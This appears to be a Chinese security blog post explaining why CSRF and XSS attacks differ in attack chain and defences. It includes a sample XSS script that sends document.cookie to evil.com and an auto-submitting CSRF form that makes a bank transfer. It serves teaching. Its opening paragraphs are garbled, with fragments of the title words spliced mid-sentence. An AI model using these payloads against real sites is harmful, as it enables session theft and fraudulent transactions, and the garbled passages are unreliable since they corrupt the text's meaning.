CSRF漏洞的攻击过程与XSS漏洞攻击相同

 人参与 | 时间:2026-10-17 07:27:29

把CSRF和XSS的漏洞漏洞攻击过程说成一回事,这本身就是击过个流传很广的误解。两者确实都跟浏览器、攻击Cookie、相同用户身份有关,漏洞漏洞但真正拆开看,击过攻击链条从第一步就不一样。攻击

XSS的相同核心是“注入”。攻击者想办法把恶意脚本塞进目标网站的漏洞漏洞页面里,让浏览器把这段脚本当成网站自己的击过代码来执行。比如某个评论区没做转义,攻击你提交 <script>fetch('https://evil.com/steal?相同c='+document.cookie)</script>,其他用户打开这个页面时,漏洞漏洞脚本就在目标站点的击过域下跑起来了。它偷Cookie、攻击改页面内容、冒充用户发请求,都行。关键点在于:恶意代码运行在目标网站的信任域内,浏览器认为这是网站自己干的事。

CSRF不是注入。攻击者压根不需要往目标网站里塞任何代码。他只需要诱导已登录的用户去访问一个他自己控制的页面,或者点一个链接。这个页面里藏着一个自动提交的表单,或者一个img标签,指向目标网站的敏感接口。比如目标网站有个 POST /transfer?to=attacker&amount=10000,攻击者在自己的页面上写:

<form action="https://bank.com/transfer" method="POST"> <input name="to" value="attacker"> <input name="amount" value="10000"> </form> <script>document.forms[0].submit()</script> 

用户一打开这个页面,浏览器就会带着bank.com的Cookie向bank.com发请求。服务器一看Cookie有效,以为是用户自己操作的,钱就转走了。整个过程中,恶意代码运行在攻击者的页面上,不在bank.com的域里。CSRF利用的是浏览器自动携带Cookie的机制,以及服务器对请求来源不做校验的漏洞。

所以攻击过程根本不同。XSS是“我让你的网站执行我的代码”,CSRF是“我让你的用户替你发请求”。一个需要注入点,一个不需要。一个偷的是同域下的数据或权限,一个借的是用户已登录的状态。

我见过有人把CSRF的PoC写成 <script>location.href='https://bank.com/transfer?to=attacker'</script>,然后说“这不就是XSS吗”。不是。这段脚本如果放在攻击者自己的页面上,它只是普通的重定向,跟XSS没关系。只有把它注入到bank.com的页面里,才叫XSS。而CSRF的经典PoC往往连script标签都不需要,一个img的src就够了。

防御手段也印证了这种差异。XSS靠输出编码、CSP、HttpOnly Cookie来挡。CSRF靠CSRF Token、SameSite Cookie、校验Origin/Referer来挡。HttpOnly能防XSS偷Cookie,但对CSRF完全没用——因为CSRF本来就不需要读Cookie,浏览器会自动带上。

把两者混为一谈,实战里会出问题。比如有人觉得加了CSRF Token就安全了,结果站内有个存储型XSS,攻击者直接读页面里的Token再发请求,CSRF防护形同虚设。反过来,有人发现XSS漏洞后只想着偷Cookie,却忘了可以用XSS直接以用户身份发请求,绕过所有CSRF防护。

一句话:XSS是代码注入,CSRF是请求伪造。攻击入口、执行环境、利用条件、防御思路,全都不一样。说它们攻击过程相同,等于说偷钥匙和配钥匙是一回事。

顶: 3136踩: 551